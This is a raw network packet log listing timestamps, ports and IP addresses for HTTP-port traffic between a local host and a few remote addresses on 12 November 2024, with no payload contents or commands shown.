Nov 12, 2024 02:13:23.155405045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155407906 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155411959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155419111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155420065 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155426025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155436039 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155453920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155477047 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155925989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155937910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155950069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155961037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155972004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155972004 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155985117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.155991077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.155997992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.156002045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.156011105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.156022072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.156030893 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.156039000 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.156050920 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.156069040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.219870090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.219916105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.219927073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.219970942 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.219999075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269083977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269109011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269121885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269143105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269155025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269165993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269174099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269177914 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269222021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269387007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269414902 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269427061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269428968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269450903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269476891 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269490004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269501925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269541025 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269550085 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269583941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269665956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269676924 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269689083 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269700050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269709110 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269712925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269722939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269753933 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269773006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269797087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269819975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269830942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269851923 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269892931 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.269953966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269967079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269978046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.269998074 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270021915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270057917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270136118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270148993 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270160913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270174026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270174026 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270198107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270215034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270347118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270358086 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270368099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270396948 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270421028 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270421982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270497084 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270510912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270522118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270534039 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270539045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270548105 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270569086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270591021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270754099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270764112 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270796061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270822048 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270852089 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270864964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270881891 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270898104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270905018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270911932 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270924091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270930052 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270936966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270947933 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.270952940 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270982981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.270996094 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.271158934 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.271213055 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.271225929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.271236897 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.271254063 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.271282911 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.342381001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.342396021 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.342408895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.342422962 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.342448950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385164976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385225058 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385241032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385257959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385268927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385279894 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385297060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385324955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385334015 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385339022 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385349035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385375023 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385380983 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385380983 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385391951 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385431051 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385466099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385493994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385504007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385512114 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385524035 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385544062 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385905981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385915995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385926008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385951996 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385976076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.385986090 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.385998011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386007071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386027098 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.386048079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.386636972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386647940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386662006 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386683941 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386687994 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.386694908 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386706114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.386708021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.386730909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.386761904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387254953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387268066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387276888 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387295961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387321949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387331009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387342930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387352943 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387365103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387377977 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387392998 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387495995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387540102 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387557030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387578011 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387590885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387593031 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387603045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.387617111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.387644053 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.388089895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.388103008 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.388113976 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.388144016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.388144970 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.388159990 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.388166904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.388173103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.388181925 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.388195038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.388209105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389025927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389050007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389070988 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389081955 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389084101 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389089108 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389095068 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389101982 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389112949 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389149904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389427900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389451981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389466047 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389496088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.389497042 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.389539957 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.390543938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.390556097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.390575886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.390589952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.390598059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.390603065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.390614986 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.390616894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.390631914 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.390655041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.450983047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.451029062 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.451077938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.451088905 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.451122999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.467401981 CET	49725	80	192.168.2.4	2.22.50.131
Nov 12, 2024 02:13:23.472748995 CET	80	49725	2.22.50.131	192.168.2.4
Nov 12, 2024 02:13:23.472803116 CET	49725	80	192.168.2.4	2.22.50.131
Nov 12, 2024 02:13:23.500936985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501007080 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501022100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501056910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.501122952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501136065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501147032 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501149893 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.501158953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501172066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501255989 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.501416922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501441956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501452923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501471996 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501478910 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.501486063 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501494884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501503944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501516104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501528978 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501538038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.501542091 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.501560926 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.501571894 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502104044 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502115965 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502127886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502146006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502171993 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502298117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502312899 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502343893 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502593040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502635956 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502635956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502655029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502672911 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502695084 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502756119 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502768040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502777100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502800941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502825975 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502867937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502881050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502891064 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.502912045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.502937078 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503014088 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503026962 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503040075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503057003 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503072977 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503437042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503480911 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503493071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503535032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503573895 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503609896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503621101 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503637075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503660917 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503674030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.503758907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503771067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.503804922 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504401922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504443884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504443884 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504456997 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504479885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504487991 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504507065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504520893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504529953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504554033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504573107 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504853010 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504894018 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504926920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504940987 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.504965067 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.504981995 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.505027056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.505038977 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.505049944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.505059958 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.505067110 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.505072117 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.505079985 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.505122900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.566164970 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.566175938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.566181898 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.566200972 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.566220045 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.566240072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.616189957 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616275072 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616287947 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616300106 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616312981 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616328001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616337061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.616339922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616354942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616369009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616379976 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.616381884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616391897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.616394043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:23.616416931 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:23.616442919 CET	49755	80	192.168.2.4	185.215.113.206
